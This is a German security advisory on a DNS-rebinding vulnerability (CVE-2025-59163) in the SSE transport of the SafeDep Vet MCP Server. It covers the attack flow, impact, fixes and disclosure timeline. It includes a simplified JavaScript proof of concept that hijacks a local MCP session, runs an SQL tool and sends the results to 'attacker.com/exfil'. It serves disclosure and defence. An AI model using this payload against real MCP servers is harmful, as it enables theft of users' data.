DNS-Rebinding-Schwachstelle im SSE-Transport des Vet MCP Servers
Autor: Evan Harris
Risiko: Niedrig (CVSS 2.1/10)
Betroffene Komponente: SafeDep Vet MCP Server
CVE-ID: CVE-2025-59163
Betroffene Versionen: < v1.12.5
Behobene Versionen: v1.12.5
Überblick
Der SafeDep Vet MCP Server ist beim Betrieb mit dem SSE-Transport anfällig für DNS-Rebinding-Angriffe. Die Schwachstelle beruht auf einer fehlenden Validierung der HTTP-Header Host und Origin, wodurch bösartige Websites die Schutzmechanismen der Same-Origin-Policy umgehen und unautorisierte Tool-Aufrufe gegen Vet-MCP-Instanzen ausführen können.
Sobald das DNS-Rebinding erfolgreich ist, kann ein Angreifer eine Sitzung mit dem Endpunkt /sse aufbauen, aktivierte MCP-Tools aufrufen und den Inhalt der Vet-SQLite-Datenbank des Nutzers an einen vom Angreifer kontrollierten Server exfiltrieren.
Das SafeDep-Team reagierte umgehend auf diese Offenlegung und veröffentlichte innerhalb weniger Tage eine behobene Version (v1.12.5), die eine Validierung der Header Host und Origin anhand einer Positivliste (Allow-List) umsetzt.
Andere auf dieser Website behandelte Werkzeuge scheitern auf dieselbe Weise: Neo4j MCP Cypher Server durch DNS-Rebinding anfällig für Datenbankübernahme und Klusters Verify-MCP-Server setzt Nutzer dem Verbrauch von Credits aus.
Technische Details
Die Schwachstelle
Wenn der Vet MCP Server mit dem SSE-Transport (--server-type sse) läuft, stellt er einen HTTP-Endpunkt bereit, der Verbindungen von jedem Origin akzeptiert. Dem Server fehlt die Validierung von:
- HTTP-Host-Header - lässt Anfragen zu, die vorgeben, von einer beliebigen Domain zu stammen
- HTTP-Origin-Header - erlaubt ursprungsübergreifende Anfragen von bösartigen Websites
Diese fehlende Validierung ermöglicht DNS-Rebinding-Angriffe, bei denen:
- Ein Angreifer kontrolliert eine Domain mit DNS-Einträgen mit sehr niedriger TTL
- Das Opfer besucht die Website des Angreifers (z. B.
attacker.com) - Das JavaScript des Angreifers wird zunächst auf die IP-Adresse des Angreifers aufgelöst
- Nachdem der Browser des Opfers die Verbindung zwischengespeichert hat, wird der DNS-Eintrag auf
127.0.0.1geändert - Nachfolgende Anfragen von
attacker.comzielen nun auf den localhost des Opfers - Die Same-Origin-Policy des Browsers wird umgangen, da der Origin weiterhin
attacker.combleibt
Verwundbare Konfiguration
Der Angriff setzt folgende Bedingungen voraus:
- Ein Vet-Scan wird ausgeführt und die Berichte werden in einer Datenbank abgelegt
- Der Vet MCP Server läuft mit aktiviertem SSE-Transport
- Der Angreifer lockt das Opfer auf eine von ihm kontrollierte Website
Angriffsvektor
Der Angreifer nutzt DNS-Rebinding, um:
- Eine Verbindung zu
http://127.0.0.1:9988/sseaufzubauen - Eine gültige MCP-Sitzungs-ID zu erlangen
- Eine MCP-Sitzung zu initialisieren
- Das Tool
vet_query_execute_sql_querymit beliebigen lesenden SQL-Abfragen aufzurufen - Antworten über den SSE-Stream zu empfangen
- Daten an einen vom Angreifer kontrollierten Server zu exfiltrieren
Angriffsszenario
Aufbau beim Opfer
Ein Sicherheitsforscher oder Entwickler:
- Installiert Vet zum Scannen von Abhängigkeiten auf Schwachstellen
- Führt einen Scan aus:
vet scan -D /path/to/project - Startet den MCP-Server mit SSE-Transport:
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Der Server bindet sich standardmäßig an
127.0.0.1:9988
Ausnutzung durch den Angreifer
Der Angreifer bereitet die DNS-Rebinding-Infrastruktur vor:
- Richtet einen DNS-Server mit Wildcard-Einträgen für eine Domain ein (z. B.
rebinder.attacker.com) - Konfiguriert den DNS-Server so, dass er zunächst die IP-Adresse des Angreifers zurückgibt und anschließend auf
127.0.0.1umbindet - Betreibt eine bösartige Website mit JavaScript, das:
- Erkennt, wann das DNS-Rebinding erfolgreich ist
- Sich mit dem Vet-SSE-Endpunkt unter
http://127.0.0.1:9988/sseverbindet - Eine MCP-Sitzung aufbaut
- SQL-Abfragen gegen die Datenbank des Opfers ausführt
- Die Ergebnisse exfiltriert
Ablauf der Ausnutzung
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
Das Opfer muss lediglich die Website des Angreifers besuchen (z. B. über einen Link in einer Phishing-E-Mail, eine kompromittierte Werbeanzeige oder ein bösartiges GitHub-Issue), während sein Vet MCP Server läuft.
Auswirkungsbewertung
Verletzung der Vertraulichkeit
Primäre Auswirkung:
- Vollständiger Lesezugriff auf die Vet-Scan-SQLite-Datenbank über das Tool
vet_query_execute_sql_query - Offenlegung von Informationen zu Paket-Schwachstellen, darunter:
- Verwendete Paketnamen und -versionen
- Bekannte CVEs, die die Abhängigkeiten des Opfers betreffen
- Schweregrad-Bewertungen und Details zu Schwachstellen
- Erkenntnisse über die Software-Lieferkette
Risikoverstärkung:
- Angreifer erhalten Erkenntnisse über verwundbare Pakete in der Umgebung des Opfers
- Abhängigkeiten und Paketversionen geben Aufschluss über den eingesetzten Technologie-Stack
- Diese Informationen können genutzt werden, um gezielte Angriffe zu entwickeln
Angriffsvoraussetzungen
Faktoren, die die Ausnutzbarkeit einschränken:
- Aktive Nutzerinteraktion erforderlich: Das Opfer muss eine bösartige Website besuchen
- Zeitfenster: Der Vet MCP Server muss aktiv mit SSE-Transport laufen
- Konfigurationsvoraussetzung: Das Opfer muss den Server ausdrücklich mit
--server-type ssegestartet haben (nicht mit dem standardmäßigen stdio-Transport) - Browserbasiert: Der Angriff setzt einen modernen Browser mit EventSource-Unterstützung voraus
Diese Faktoren tragen trotz der Möglichkeit einer Datenexfiltration zur Einstufung als niedriger Schweregrad (CVSS 2.1/10) bei.
Empfohlene Gegenmaßnahmen
Für Nutzer (sofort)
- Aktualisieren Sie auf v1.12.5 oder höher:
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - Verwenden Sie den stdio-Transport (Standard):
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Netzwerkisolierung:
- Betreiben Sie den MCP-Server nur in vertrauenswürdigen Netzwerken
- Verwenden Sie Firewall-Regeln, um den Zugriff auf Port 9988 zu beschränken
- Vermeiden Sie das Surfen auf nicht vertrauenswürdigen Websites, während der Server läuft
Für Entwickler
In v1.12.5 umgesetzt:
- Validierung des Host-Headers anhand einer Positivliste (Allow-List)
- Validierung des Origin-Headers, um ursprungsübergreifende Anfragen zu verhindern
- Ablehnung von Anfragen mit ungültigen oder fehlenden Sicherheits-Headern
Bewährte Praktiken für MCP-Server-Implementierungen:
- Validieren Sie bei HTTP-basierten Transporten stets die Header Host und Origin
- Binden Sie standardmäßig nur an localhost (
127.0.0.1) statt an0.0.0.0 - Bevorzugen Sie nach Möglichkeit den stdio-Transport gegenüber netzwerkbasierten Transporten
- Dokumentieren Sie die Sicherheitsauswirkungen der verschiedenen Transportmodi
- Setzen Sie strikte CORS-Richtlinien um
Zeitleiste der Offenlegung
- 2025-08-30: Erster Schwachstellenbericht an SafeDep übermittelt
- 2025-09-01: SafeDep bestätigt den Eingang des Berichts
- 2025-09-02: SafeDep erstellt einen Pull Request mit einem Patch zur Umsetzung der Header-Validierung
- 2025-09-05: Behobene Version v1.12.5 wird veröffentlicht
- 2025-09-29: GitHub Security Advisory veröffentlicht, koordinierter Offenlegungstermin von beiden Parteien bestätigt
- 2025-10-06: Technischer Sicherheitshinweis veröffentlicht
Fazit
Die DNS-Rebinding-Schwachstelle im Vet MCP Server verdeutlicht eine wichtige Sicherheitsüberlegung für MCP-Implementierungen: Netzwerkbasierte Transporte erfordern eine sorgfältige Validierung der HTTP-Sicherheits-Header, um ursprungsübergreifende Angriffe zu verhindern.
Zwar erfordert der Angriff bestimmte Bedingungen (aktiver MCP-Server mit SSE-Transport, Opfer besucht eine bösartige Website, Zeitfenster), doch die Möglichkeit einer Datenexfiltration rechtfertigte eine verantwortungsvolle Offenlegung und Behebung.
Die Reaktion von SafeDep ist beispielhaft für verantwortungsvolle Sicherheitspraktiken:
- Sofortige Bestätigung des Berichts
- Zügige Entwicklung und Veröffentlichung eines Patches (5 Tage von der Meldung bis zur Veröffentlichung)
- Koordinierte Offenlegung über ein GitHub Security Advisory
- Klare Kommunikation während des gesamten Prozesses
Alle Nutzer, die den Vet MCP Server mit SSE-Transport betreiben, sollten umgehend auf v1.12.5 aktualisieren. Für die meisten Anwendungsfälle bietet der standardmäßige stdio-Transport eine sicherere Alternative.